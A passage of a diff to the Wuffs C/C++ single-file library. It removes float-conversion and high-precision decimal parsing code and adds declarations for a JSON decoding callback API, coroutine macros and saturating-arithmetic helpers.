0xFB9B7CD9A4A7443C}, // 1e236 -- {0x8E1F289560EE864E, 0x9D412E0806E88AA5}, // 1e237 -- {0xF1A6F2BAB92A27E2, 0xC491798A08A2AD4E}, // 1e238 -- {0xAE10AF696774B1DB, 0xF5B5D7EC8ACB58A2}, // 1e239 -- {0xACCA6DA1E0A8EF29, 0x9991A6F3D6BF1765}, // 1e240 -- {0x17FD090A58D32AF3, 0xBFF610B0CC6EDD3F}, // 1e241 -- {0xDDFC4B4CEF07F5B0, 0xEFF394DCFF8A948E}, // 1e242 -- {0x4ABDAF101564F98E, 0x95F83D0A1FB69CD9}, // 1e243 -- {0x9D6D1AD41ABE37F1, 0xBB764C4CA7A4440F}, // 1e244 -- {0x84C86189216DC5ED, 0xEA53DF5FD18D5513}, // 1e245 -- {0x32FD3CF5B4E49BB4, 0x92746B9BE2F8552C}, // 1e246 -- {0x3FBC8C33221DC2A1, 0xB7118682DBB66A77}, // 1e247 -- {0x0FABAF3FEAA5334A, 0xE4D5E82392A40515}, // 1e248 -- {0x29CB4D87F2A7400E, 0x8F05B1163BA6832D}, // 1e249 -- {0x743E20E9EF511012, 0xB2C71D5BCA9023F8}, // 1e250 -- {0x914DA9246B255416, 0xDF78E4B2BD342CF6}, // 1e251 -- {0x1AD089B6C2F7548E, 0x8BAB8EEFB6409C1A}, // 1e252 -- {0xA184AC2473B529B1, 0xAE9672ABA3D0C320}, // 1e253 -- {0xC9E5D72D90A2741E, 0xDA3C0F568CC4F3E8}, // 1e254 -- {0x7E2FA67C7A658892, 0x8865899617FB1871}, // 1e255 -- {0xDDBB901B98FEEAB7, 0xAA7EEBFB9DF9DE8D}, // 1e256 -- {0x552A74227F3EA565, 0xD51EA6FA85785631}, // 1e257 -- {0xD53A88958F87275F, 0x8533285C936B35DE}, // 1e258 -- {0x8A892ABAF368F137, 0xA67FF273B8460356}, // 1e259 -- {0x2D2B7569B0432D85, 0xD01FEF10A657842C}, // 1e260 -- {0x9C3B29620E29FC73, 0x8213F56A67F6B29B}, // 1e261 -- {0x8349F3BA91B47B8F, 0xA298F2C501F45F42}, // 1e262 -- {0x241C70A936219A73, 0xCB3F2F7642717713}, // 1e263 -- {0xED238CD383AA0110, 0xFE0EFB53D30DD4D7}, // 1e264 -- {0xF4363804324A40AA, 0x9EC95D1463E8A506}, // 1e265 -- {0xB143C6053EDCD0D5, 0xC67BB4597CE2CE48}, // 1e266 -- {0xDD94B7868E94050A, 0xF81AA16FDC1B81DA}, // 1e267 -- {0xCA7CF2B4191C8326, 0x9B10A4E5E9913128}, // 1e268 -- {0xFD1C2F611F63A3F0, 0xC1D4CE1F63F57D72}, // 1e269 -- {0xBC633B39673C8CEC, 0xF24A01A73CF2DCCF}, // 1e270 -- {0xD5BE0503E085D813, 0x976E41088617CA01}, // 1e271 -- {0x4B2D8644D8A74E18, 0xBD49D14AA79DBC82}, // 1e272 -- {0xDDF8E7D60ED1219E, 0xEC9C459D51852BA2}, // 1e273 -- {0xCABB90E5C942B503, 0x93E1AB8252F33B45}, // 1e274 -- {0x3D6A751F3B936243, 0xB8DA1662E7B00A17}, // 1e275 -- {0x0CC512670A783AD4, 0xE7109BFBA19C0C9D}, // 1e276 -- {0x27FB2B80668B24C5, 0x906A617D450187E2}, // 1e277 -- {0xB1F9F660802DEDF6, 0xB484F9DC9641E9DA}, // 1e278 -- {0x5E7873F8A0396973, 0xE1A63853BBD26451}, // 1e279 -- {0xDB0B487B6423E1E8, 0x8D07E33455637EB2}, // 1e280 -- {0x91CE1A9A3D2CDA62, 0xB049DC016ABC5E5F}, // 1e281 -- {0x7641A140CC7810FB, 0xDC5C5301C56B75F7}, // 1e282 -- {0xA9E904C87FCB0A9D, 0x89B9B3E11B6329BA}, // 1e283 -- {0x546345FA9FBDCD44, 0xAC2820D9623BF429}, // 1e284 -- {0xA97C177947AD4095, 0xD732290FBACAF133}, // 1e285 -- {0x49ED8EABCCCC485D, 0x867F59A9D4BED6C0}, // 1e286 -- {0x5C68F256BFFF5A74, 0xA81F301449EE8C70}, // 1e287 -- {0x73832EEC6FFF3111, 0xD226FC195C6A2F8C}, // 1e288 --}; -+// ---------------- Auxiliary - JSON - --// wuffs_base__private_implementation__f64_powers_of_10 holds powers of 10 that --// can be exactly represented by a float64 (what C calls a double). --static const double wuffs_base__private_implementation__f64_powers_of_10[23] = { -- 1e0, 1e1, 1e2, 1e3, 1e4, 1e5, 1e6, 1e7, 1e8, 1e9, 1e10, 1e11, -- 1e12, 1e13, 1e14, 1e15, 1e16, 1e17, 1e18, 1e19, 1e20, 1e21, 1e22, -+namespace wuffs_aux { -+ -+struct DecodeJsonResult { -+ DecodeJsonResult(std::string&& error_message0, uint64_t cursor_position0); -+ -+ std::string error_message; -+ uint64_t cursor_position; - }; - --// ---------------- IEEE 754 Floating Point -+class DecodeJsonCallbacks { -+ public: -+ virtual ~DecodeJsonCallbacks(); - --WUFFS_BASE__MAYBE_STATIC wuffs_base__lossy_value_u16 // --wuffs_base__ieee_754_bit_representation__from_f64_to_u16_truncate(double f) { -- uint64_t u = 0; -- if (sizeof(uint64_t) == sizeof(double)) { -- memcpy(&u, &f, sizeof(uint64_t)); -- } -- uint16_t neg = ((uint16_t)((u >> 63) << 15)); -- u &= 0x7FFFFFFFFFFFFFFF; -- uint64_t exp = u >> 52; -- uint64_t man = u & 0x000FFFFFFFFFFFFF; -+ // AppendXxx are called for leaf nodes: literals, numbers and strings. For -+ // strings, the Callbacks implementation is responsible for tracking map keys -+ // versus other values. - -- if (exp == 0x7FF) { -- if (man == 0) { // Infinity. -- wuffs_base__lossy_value_u16 ret; -- ret.value = neg | 0x7C00; -- ret.lossy = false; -- return ret; -- } -- // NaN. Shift the 52 mantissa bits to 10 mantissa bits, keeping the most -- // significant mantissa bit (quiet vs signaling NaNs). Also set the low 9 -- // bits of ret.value so that the 10-bit mantissa is non-zero. -- wuffs_base__lossy_value_u16 ret; -- ret.value = neg | 0x7DFF | ((uint16_t)(man >> 42)); -- ret.lossy = false; -- return ret; -+ virtual std::string AppendNull() = 0; -+ virtual std::string AppendBool(bool val) = 0; -+ virtual std::string AppendF64(double val) = 0; -+ virtual std::string AppendI64(int64_t val) = 0; -+ virtual std::string AppendTextString(std::string&& val) = 0; - -- } else if (exp > 0x40E) { // Truncate to the largest finite f16. -- wuffs_base__lossy_value_u16 ret; -- ret.value = neg | 0x7BFF; -- ret.lossy = true; -- return ret; -+ // Push and Pop are called for container nodes: JSON arrays (lists) and JSON -+ // objects (dictionaries). -+ // -+ // The flags bits combine exactly one of: -+ // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__FROM_NONE -+ // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__FROM_LIST -+ // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__FROM_DICT -+ // and exactly one of: -+ // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_NONE -+ // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_LIST -+ // - WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_DICT - -- } else if (exp <= 0x3E6) { // Truncate to zero. -- wuffs_base__lossy_value_u16 ret; -- ret.value = neg; -- ret.lossy = (u != 0); -- return ret; -+ virtual std::string Push(uint32_t flags) = 0; -+ virtual std::string Pop(uint32_t flags) = 0; - -- } else if (exp <= 0x3F0) { // Normal f64, subnormal f16. -- // Convert from a 53-bit mantissa (after realizing the implicit bit) to a -- // 10-bit mantissa and then adjust for the exponent. -- man |= 0x0010000000000000; -- uint32_t shift = ((uint32_t)(1051 - exp)); // 1051 = 0x3F0 + 53 - 10. -- uint64_t shifted_man = man >> shift; -- wuffs_base__lossy_value_u16 ret; -- ret.value = neg | ((uint16_t)shifted_man); -- ret.lossy = (shifted_man << shift) != man; -- return ret; -- } -+ // Done is always the last Callback method called by DecodeJson, whether or -+ // not parsing the input as JSON encountered an error. Even when successful, -+ // trailing data may remain in input and buffer. See "Unintuitive JSON -+ // Parsing" (https://nullprogram.com/blog/2019/12/28/) which discusses JSON -+ // parsing and when it stops. -+ // -+ // Do not keep a reference to buffer or buffer.data.ptr after Done returns, -+ // as DecodeJson may then de-allocate the backing array. -+ // -+ // The default Done implementation is a no-op. -+ virtual void // -+ Done(DecodeJsonResult& result, sync_io::Input& input, IOBuffer& buffer); -+}; - -- // Normal f64, normal f16. -+extern const char DecodeJson_BadJsonPointer[]; -+extern const char DecodeJson_NoMatch[]; - -- // Re-bias from 1023 to 15 and shift above f16's 10 mantissa bits. -- exp = (exp - 1008) << 10; // 1008 = 1023 - 15 = 0x3FF - 0xF. -+// The FooArgBar types add structure to Foo's optional arguments. They wrap -+// inner representations for several reasons: -+// - It provides a home for the DefaultValue static method, for Foo callers -+// that want to override some but not all optional arguments. -+// - It provides the "Bar" name at Foo call sites, which can help self- -+// document Foo calls with many arguemnts. -+// - It provides some type safety against accidentally transposing or omitting -+// adjacent fundamentally-numeric-typed optional arguments. - -- // Convert from a 52-bit mantissa (excluding the implicit bit) to a 10-bit -- // mantissa (again excluding the implicit bit). We lose some information if -- // any of the bottom 42 bits are non-zero. -- wuffs_base__lossy_value_u16 ret; -- ret.value = neg | ((uint16_t)exp) | ((uint16_t)(man >> 42)); -- ret.lossy = (man << 22) != 0; -- return ret; --} -+// DecodeJsonArgQuirks wraps an optional argument to DecodeJson. -+struct DecodeJsonArgQuirks { -+ explicit DecodeJsonArgQuirks(const QuirkKeyValuePair* ptr0, -+ const size_t len0); - --WUFFS_BASE__MAYBE_STATIC wuffs_base__lossy_value_u32 // --wuffs_base__ieee_754_bit_representation__from_f64_to_u32_truncate(double f) { -- uint64_t u = 0; -- if (sizeof(uint64_t) == sizeof(double)) { -- memcpy(&u, &f, sizeof(uint64_t)); -- } -- uint32_t neg = ((uint32_t)(u >> 63)) << 31; -- u &= 0x7FFFFFFFFFFFFFFF; -- uint64_t exp = u >> 52; -- uint64_t man = u & 0x000FFFFFFFFFFFFF; -+ // DefaultValue returns an empty slice. -+ static DecodeJsonArgQuirks DefaultValue(); - -- if (exp == 0x7FF) { -- if (man == 0) { // Infinity. -- wuffs_base__lossy_value_u32 ret; -- ret.value = neg | 0x7F800000; -- ret.lossy = false; -- return ret; -- } -- // NaN. Shift the 52 mantissa bits to 23 mantissa bits, keeping the most -- // significant mantissa bit (quiet vs signaling NaNs). Also set the low 22 -- // bits of ret.value so that the 23-bit mantissa is non-zero. -- wuffs_base__lossy_value_u32 ret; -- ret.value = neg | 0x7FBFFFFF | ((uint32_t)(man >> 29)); -- ret.lossy = false; -- return ret; -+ const QuirkKeyValuePair* ptr; -+ const size_t len; -+}; - -- } else if (exp > 0x47E) { // Truncate to the largest finite f32. -- wuffs_base__lossy_value_u32 ret; -- ret.value = neg | 0x7F7FFFFF; -- ret.lossy = true; -- return ret; -+// DecodeJsonArgJsonPointer wraps an optional argument to DecodeJson. -+struct DecodeJsonArgJsonPointer { -+ explicit DecodeJsonArgJsonPointer(std::string repr0); - -- } else if (exp <= 0x369) { // Truncate to zero. -- wuffs_base__lossy_value_u32 ret; -- ret.value = neg; -- ret.lossy = (u != 0); -- return ret; -+ // DefaultValue returns an empty string. -+ static DecodeJsonArgJsonPointer DefaultValue(); - -- } else if (exp <= 0x380) { // Normal f64, subnormal f32. -- // Convert from a 53-bit mantissa (after realizing the implicit bit) to a -- // 23-bit mantissa and then adjust for the exponent. -- man |= 0x0010000000000000; -- uint32_t shift = ((uint32_t)(926 - exp)); // 926 = 0x380 + 53 - 23. -- uint64_t shifted_man = man >> shift; -- wuffs_base__lossy_value_u32 ret; -- ret.value = neg | ((uint32_t)shifted_man); -- ret.lossy = (shifted_man << shift) != man; -- return ret; -- } -+ std::string repr; -+}; - -- // Normal f64, normal f32. -+// DecodeJson calls callbacks based on the JSON-formatted data in input. -+// -+// On success, the returned error_message is empty and cursor_position counts -+// the number of bytes consumed. On failure, error_message is non-empty and -+// cursor_position is the location of the error. That error may be a content -+// error (invalid JSON) or an input error (e.g. network failure). -+// -+// json_pointer is a query in the JSON Pointer (RFC 6901) syntax. The callbacks -+// run for the input's sub-node that matches the query. DecodeJson_NoMatch is -+// returned if no matching sub-node was found. The empty query matches the -+// input's root node, consistent with JSON Pointer semantics. -+// -+// The JSON Pointer implementation is greedy: duplicate keys are not rejected -+// but only the first match for each '/'-separated fragment is followed. -+DecodeJsonResult // -+DecodeJson(DecodeJsonCallbacks& callbacks, -+ sync_io::Input& input, -+ DecodeJsonArgQuirks quirks = DecodeJsonArgQuirks::DefaultValue(), -+ DecodeJsonArgJsonPointer json_pointer = -+ DecodeJsonArgJsonPointer::DefaultValue()); - -- // Re-bias from 1023 to 127 and shift above f32's 23 mantissa bits. -- exp = (exp - 896) << 23; // 896 = 1023 - 127 = 0x3FF - 0x7F. -+} // namespace wuffs_aux - -- // Convert from a 52-bit mantissa (excluding the implicit bit) to a 23-bit -- // mantissa (again excluding the implicit bit). We lose some information if -- // any of the bottom 29 bits are non-zero. -- wuffs_base__lossy_value_u32 ret; -- ret.value = neg | ((uint32_t)exp) | ((uint32_t)(man >> 29)); -- ret.lossy = (man << 35) != 0; -- return ret; --} -+#endif // defined(__cplusplus) && defined(WUFFS_BASE__HAVE_UNIQUE_PTR) - --// -------- -+// ‼ WUFFS C HEADER ENDS HERE. -+#ifdef WUFFS_IMPLEMENTATION - --#define WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DECIMAL_POINT__RANGE 2047 --#define WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DIGITS_PRECISION 800 -+#ifdef __cplusplus -+extern "C" { -+#endif - --// WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__SHIFT__MAX_INCL is the largest N --// such that ((10 << N) < (1 << 64)). --#define WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__SHIFT__MAX_INCL 60 -+// ---------------- Fundamentals - --// wuffs_base__private_implementation__high_prec_dec (abbreviated as HPD) is a --// fixed precision floating point decimal number, augmented with ±infinity --// values, but it cannot represent NaN (Not a Number). -+// WUFFS_BASE__MAGIC is a magic number to check that initializers are called. -+// It's not foolproof, given C doesn't automatically zero memory before use, -+// but it should catch 99.99% of cases. - // --// "High precision" means that the mantissa holds 800 decimal digits. 800 is --// WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DIGITS_PRECISION. -+// Its (non-zero) value is arbitrary, based on md5sum("wuffs"). -+#define WUFFS_BASE__MAGIC ((uint32_t)0x3CCB6C71) -+ -+// WUFFS_BASE__DISABLED is a magic number to indicate that a non-recoverable -+// error was previously encountered. - // --// An HPD isn't for general purpose arithmetic, only for conversions to and --// from IEEE 754 double-precision floating point, where the largest and --// smallest positive, finite values are approximately 1.8e+308 and 4.9e-324. --// HPD exponents above +2047 mean infinity, below -2047 mean zero. The ±2047 --// bounds are further away from zero than ±(324 + 800), where 800 and 2047 is --// WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DIGITS_PRECISION and --// WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DECIMAL_POINT__RANGE. -+// Its (non-zero) value is arbitrary, based on md5sum("disabled"). -+#define WUFFS_BASE__DISABLED ((uint32_t)0x075AE3D2) -+ -+// Use switch cases for coroutine suspension points, similar to the technique -+// in https://www.chiark.greenend.org.uk/~sgtatham/coroutines.html - // --// digits[.. num_digits] are the number's digits in big-endian order. The --// uint8_t values are in the range [0 ..= 9], not ['0' ..= '9'], where e.g. '7' --// is the ASCII value 0x37. -+// The implicit fallthrough is intentional. - // --// decimal_point is the index (within digits) of the decimal point. It may be --// negative or be larger than num_digits, in which case the explicit digits are --// padded with implicit zeroes. -+// We use trivial macros instead of an explicit assignment and case statement -+// so that clang-format doesn't get confused by the unusual "case"s. -+#define WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0 case 0:; -+#define WUFFS_BASE__COROUTINE_SUSPENSION_POINT(n) \ -+ coro_susp_point = n; \ -+ case n:; -+ -+#define WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(n) \ -+ if (!status.repr) { \ -+ goto ok; \ -+ } else if (*status.repr != '$') { \ -+ goto exit; \ -+ } \ -+ coro_susp_point = n; \ -+ goto suspend; \ -+ case n:; -+ -+// The "defined(__clang__)" isn't redundant. While vanilla clang defines -+// __GNUC__, clang-cl (which mimics MSVC's cl.exe) does not. -+#if defined(__GNUC__) || defined(__clang__) -+#define WUFFS_BASE__LIKELY(expr) (__builtin_expect(!!(expr), 1)) -+#define WUFFS_BASE__UNLIKELY(expr) (__builtin_expect(!!(expr), 0)) -+#else -+#define WUFFS_BASE__LIKELY(expr) (expr) -+#define WUFFS_BASE__UNLIKELY(expr) (expr) -+#endif -+ -+// -------- -+ -+static inline wuffs_base__empty_struct // -+wuffs_private_impl__ignore_status(wuffs_base__status z) { -+ return wuffs_base__make_empty_struct(); -+} -+ -+static inline wuffs_base__status // -+wuffs_private_impl__status__ensure_not_a_suspension(wuffs_base__status z) { -+ if (z.repr && (*z.repr == '$')) { -+ z.repr = wuffs_base__error__cannot_return_a_suspension; -+ } -+ return z; -+} -+ -+// -------- -+ -+// wuffs_private_impl__iterate_total_advance returns the exclusive -+// pointer-offset at which iteration should stop. The overall slice has length -+// total_len, each iteration's sub-slice has length iter_len and are placed -+// iter_advance apart. - // --// For example, if num_digits is 3 and digits is "\x07\x08\x09": --// - A decimal_point of -2 means ".00789" --// - A decimal_point of -1 means ".0789" --// - A decimal_point of +0 means ".789" --// - A decimal_point of +1 means "7.89" --// - A decimal_point of +2 means "78.9" --// - A decimal_point of +3 means "789." --// - A decimal_point of +4 means "7890." --// - A decimal_point of +5 means "78900." -+// The iter_advance may not be larger than iter_len. The iter_advance may be -+// smaller than iter_len, in which case the sub-slices will overlap. - // --// As above, a decimal_point higher than +2047 means that the overall value is --// infinity, lower than -2047 means zero. -+// The return value r satisfies ((0 <= r) && (r <= total_len)). - // --// negative is a sign bit. An HPD can distinguish positive and negative zero. -+// For example, if total_len = 15, iter_len = 5 and iter_advance = 3, there are -+// four iterations at offsets 0, 3, 6 and 9. This function returns 12. - // --// truncated is whether there are more than --// WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DIGITS_PRECISION digits, and at --// least one of those extra digits are non-zero. The existence of long-tail --// digits can affect rounding. -+// 0123456789012345 -+// [....] -+// [....] -+// [....] -+// [....] -+// $ -+// 0123456789012345 - // --// The "all fields are zero" value is valid, and represents the number +0. --typedef struct wuffs_base__private_implementation__high_prec_dec__struct { -- uint32_t num_digits; -- int32_t decimal_point; -- bool negative; -- bool truncated; -- uint8_t digits[WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DIGITS_PRECISION]; --} wuffs_base__private_implementation__high_prec_dec; -- --// wuffs_base__private_implementation__high_prec_dec__trim trims trailing --// zeroes from the h->digits[.. h->num_digits] slice. They have no benefit, --// since we explicitly track h->decimal_point. -+// For example, if total_len = 15, iter_len = 5 and iter_advance = 5, there are -+// three iterations at offsets 0, 5 and 10. This function returns 15. - // --// Preconditions: --// - h is non-NULL. --static inline void // --wuffs_base__private_implementation__high_prec_dec__trim( -- wuffs_base__private_implementation__high_prec_dec* h) { -- while ((h->num_digits > 0) && (h->digits[h->num_digits - 1] == 0)) { -- h->num_digits--; -+// 0123456789012345 -+// [....] -+// [....] -+// [....] -+// $ -+// 0123456789012345 -+static inline size_t // -+wuffs_private_impl__iterate_total_advance(size_t total_len, -+ size_t iter_len, -+ size_t iter_advance) { -+ if (total_len >= iter_len) { -+ size_t n = total_len - iter_len; -+ return ((n / iter_advance) * iter_advance) + iter_advance; - } -+ return 0; - } - --// wuffs_base__private_implementation__high_prec_dec__assign sets h to --// represent the number x. --// --// Preconditions: --// - h is non-NULL. --static void // --wuffs_base__private_implementation__high_prec_dec__assign( -- wuffs_base__private_implementation__high_prec_dec* h, -- uint64_t x, -- bool negative) { -- uint32_t n = 0; -+// ---------------- Numeric Types - -- // Set h->digits. -- if (x > 0) { -- // Calculate the digits, working right-to-left. After we determine n (how -- // many digits there are), copy from buf to h->digits. -- // -- // UINT64_MAX, 18446744073709551615, is 20 digits long. It can be faster to -- // copy a constant number of bytes than a variable number (20 instead of -- // n). Make buf large enough (and start writing to it from the middle) so -- // that can we always copy 20 bytes: the slice buf[(20-n) .. (40-n)]. -- uint8_t buf[40] = {0}; -- uint8_t* ptr = &buf[20]; -- do { -- uint64_t remaining = x / 10; -- x -= remaining * 10; -- ptr--; -- *ptr = (uint8_t)x; -- n++; -- x = remaining; -- } while (x > 0); -- memcpy(h->digits, ptr, 20); -- } -+extern const uint8_t wuffs_private_impl__low_bits_mask__u8[8]; -+extern const uint16_t wuffs_private_impl__low_bits_mask__u16[16]; -+extern const uint32_t wuffs_private_impl__low_bits_mask__u32[32]; -+extern const uint64_t wuffs_private_impl__low_bits_mask__u64[64]; - -- // Set h's other fields. -- h->num_digits = n; -- h->decimal_point = (int32_t)n; -- h->negative = negative; -- h->truncated = false; -- wuffs_base__private_implementation__high_prec_dec__trim(h); -+#define WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U8(n) \ -+ (wuffs_private_impl__low_bits_mask__u8[n]) -+#define WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U16(n) \ -+ (wuffs_private_impl__low_bits_mask__u16[n]) -+#define WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U32(n) \ -+ (wuffs_private_impl__low_bits_mask__u32[n]) -+#define WUFFS_PRIVATE_IMPL__LOW_BITS_MASK__U64(n) \ -+ (wuffs_private_impl__low_bits_mask__u64[n]) -+ -+// -------- -+ -+static inline void // -+wuffs_private_impl__u8__sat_add_indirect(uint8_t* x, uint8_t y) { -+ *x = wuffs_base__u8__sat_add(*x, y); - } - --static wuffs_base__status // --wuffs_base__private_implementation__high_prec_dec__parse( -- wuffs_base__private_implementation__high_prec_dec* h, -- wuffs_base__slice_u8 s, -- uint32_t options) { -- if (!h) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- h->num_digits = 0; -- h->decimal_point = 0; -- h->negative = false; -- h->truncated = false; -+static inline void // -+wuffs_private_impl__u8__sat_sub_indirect(uint8_t* x, uint8_t y) { -+ *x = wuffs_base__u8__sat_sub(*x, y); -+} - -- uint8_t* p = s.ptr; -- uint8_t* q = s.ptr + s.len; -+static inline void // -+wuffs_private_impl__u16__sat_add_indirect(uint16_t* x, uint16_t y) { -+ *x = wuffs_base__u16__sat_add(*x, y); -+} - -- if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES) { -- for (;; p++) { -- if (p >= q) { -- return wuffs_base__make_status(wuffs_base__error__bad_argument); -- } else if (*p != '_') { -- break; -- } -- } -- } -+static inline void // -+wuffs_private_impl__u16__sat_sub_indirect(uint16_t* x, uint16_t y) { -+ *x = wuffs_base__u16__sat_sub(*x, y); -+} - -- // Parse sign. -- do { -- if (*p == '+') { -- p++; -- } else if (*p == '-') { -- h->negative = true; -- p++; -- } else { -- break; -- } -- if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES) { -- for (;; p++) { -- if (p >= q) { -- return wuffs_base__make_status(wuffs_base__error__bad_argument); -- } else if (*p != '_') { -- break; -- } -- } -- } -- } while (0); -+static inline void // -+wuffs_private_impl__u32__sat_add_indirect(uint32_t* x, uint32_t y) { -+ *x = wuffs_base__u32__sat_add(*x, y); -+} - -- // Parse digits, up to (and including) a '.', 'E' or 'e'. Examples for each -- // limb in this if-else chain: -- // - "0.789" -- // - "1002.789" -- // - ".789" -- // - Other (invalid input). -- uint32_t nd = 0; -- int32_t dp = 0; -- bool no_digits_before_separator = false; -- if (('0' == *p) && -- !(options & -- WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_MULTIPLE_LEADING_ZEROES)) { -- p++; -- for (;; p++) { -- if (p >= q) { -- goto after_all; -- } else if (*p == -- ((options & -- WUFFS_BASE__PARSE_NUMBER_FXX__DECIMAL_SEPARATOR_IS_A_COMMA) -- ? ',' -- : '.')) { -- p++; -- goto after_sep; -- } else if ((*p == 'E') || (*p == 'e')) { -- p++; -- goto after_exp; -- } else if ((*p != '_') || -- !(options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES)) { -- return wuffs_base__make_status(wuffs_base__error__bad_argument); -- } -- } -+static inline void // -+wuffs_private_impl__u32__sat_sub_indirect(uint32_t* x, uint32_t y) { -+ *x = wuffs_base__u32__sat_sub(*x, y); -+} - -- } else if (('0' <= *p) && (*p <= '9')) { -- if (*p == '0') { -- for (; (p < q) && (*p == '0'); p++) { -- } -- } else { -- h->digits[nd++] = (uint8_t)(*p - '0'); -- dp = (int32_t)nd; -- p++; -- } -+static inline void // -+wuffs_private_impl__u64__sat_add_indirect(uint64_t* x, uint64_t y) { -+ *x = wuffs_base__u64__sat_add(*x, y); -+} - -- for (;; p++) { -- if (p >= q) { -- goto after_all; -- } else if (('0' <= *p) && (*p <= '9')) { -- if (nd < WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DIGITS_PRECISION) { -- h->digits[nd++] = (uint8_t)(*p - '0'); -- dp = (int32_t)nd; -- } else if ('0' != *p) { -- // Long-tail non-zeroes set the truncated bit. -- h->truncated = true; -- } -- } else if (*p == -- ((options & -- WUFFS_BASE__PARSE_NUMBER_FXX__DECIMAL_SEPARATOR_IS_A_COMMA) -- ? ',' -- : '.')) { -- p++; -- goto after_sep; -- } else if ((*p == 'E') || (*p == 'e')) { -- p++; -- goto after_exp; -- } else if ((*p != '_') || -- !(options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES)) { -- return wuffs_base__make_status(wuffs_base__error__bad_argument); -- } -- } -+static inline void // -+wuffs_private_impl__u64__sat_sub_indirect(uint64_t* x, uint64_t y) { -+ *x = wuffs_base__u64__sat_sub(*x, y); -+} - -- } else if (*p == ((options & -- WUFFS_BASE__PARSE_NUMBER_FXX__DECIMAL_SEPARATOR_IS_A_COMMA) -- ? ',' -- : '.')) { -- p++; -- no_digits_before_separator = true; -+// ---------------- Numeric Types (Utility) - -- } else { -- return wuffs_base__make_status(wuffs_base__error__bad_argument); -- } -+#define wuffs_base__utility__sign_extend_convert_u8_u32(a) \ -+ ((uint32_t)(int32_t)(int8_t)(a)) - --after_sep: -- for (;; p++) { -- if (p >= q) { -- goto after_all; -- } else if ('0' == *p) { -- if (nd == 0) { -- // Track leading zeroes implicitly. -- dp--; -- } else if (nd < -- WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DIGITS_PRECISION) { -- h->digits[nd++] = (uint8_t)(*p - '0'); -- } -- } else if (('0' < *p) && (*p <= '9')) { -- if (nd < WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DIGITS_PRECISION) { -- h->digits[nd++] = (uint8_t)(*p - '0'); -- } else { -- // Long-tail non-zeroes set the truncated bit. -- h->truncated = true; -- } -- } else if ((*p == 'E') || (*p == 'e')) { -- p++; -- goto after_exp; -- } else if ((*p != '_') || -- !(options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES)) { -- return wuffs_base__make_status(wuffs_base__error__bad_argument); -- } -- } -+#define wuffs_base__utility__sign_extend_convert_u16_u32(a) \ -+ ((uint32_t)(int32_t)(int16_t)(a)) - --after_exp: -- do { -- if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES) { -- for (;; p++) { -- if (p >= q) { -- return wuffs_base__make_status(wuffs_base__error__bad_argument); -- } else if (*p != '_') { -- break; -- } -- } -- } -+#define wuffs_base__utility__sign_extend_rshift_u32(a, n) \ -+ ((uint32_t)(((int32_t)(a)) >> (n))) - -- int32_t exp_sign = +1; -- if (*p == '+') { -- p++; -- } else if (*p == '-') { -- exp_sign = -1; -- p++; -- } -+#define wuffs_base__utility__sign_extend_rshift_u64(a, n) \ -+ ((uint64_t)(((int64_t)(a)) >> (n))) - -- int32_t exp = 0; -- const int32_t exp_large = -- WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DECIMAL_POINT__RANGE + -- WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DIGITS_PRECISION; -- bool saw_exp_digits = false; -- for (; p < q; p++) { -- if ((*p == '_') && -- (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES)) { -- // No-op. -- } else if (('0' <= *p) && (*p <= '9')) { -- saw_exp_digits = true; -- if (exp < exp_large) { -- exp = (10 * exp) + ((int32_t)(*p - '0')); -- } -- } else { -- break; -- } -- } -- if (!saw_exp_digits) { -- return wuffs_base__make_status(wuffs_base__error__bad_argument); -- } -- dp += exp_sign * exp; -- } while (0); -+#define wuffs_base__utility__make_bitvec256(e00, e01, e02, e03) \ -+ wuffs_base__make_bitvec256(e00, e01, e02, e03) - --after_all: -- if (p != q) { -- return wuffs_base__make_status(wuffs_base__error__bad_argument); -- } -- h->num_digits = nd; -- if (nd == 0) { -- if (no_digits_before_separator) { -- return wuffs_base__make_status(wuffs_base__error__bad_argument); -- } -- h->decimal_point = 0; -- } else if (dp < -- -WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DECIMAL_POINT__RANGE) { -- h->decimal_point = -- -WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DECIMAL_POINT__RANGE - 1; -- } else if (dp > -- +WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DECIMAL_POINT__RANGE) { -- h->decimal_point = -- +WUFFS_BASE__PRIVATE_IMPLEMENTATION__HPD__DECIMAL_POINT__RANGE + 1; -- } else { -- h->decimal_point = dp; -- } -- wuffs_base__private_implementation__high_prec_dec__trim(h); -- return wuffs_base__make_status(NULL); --} -+#define 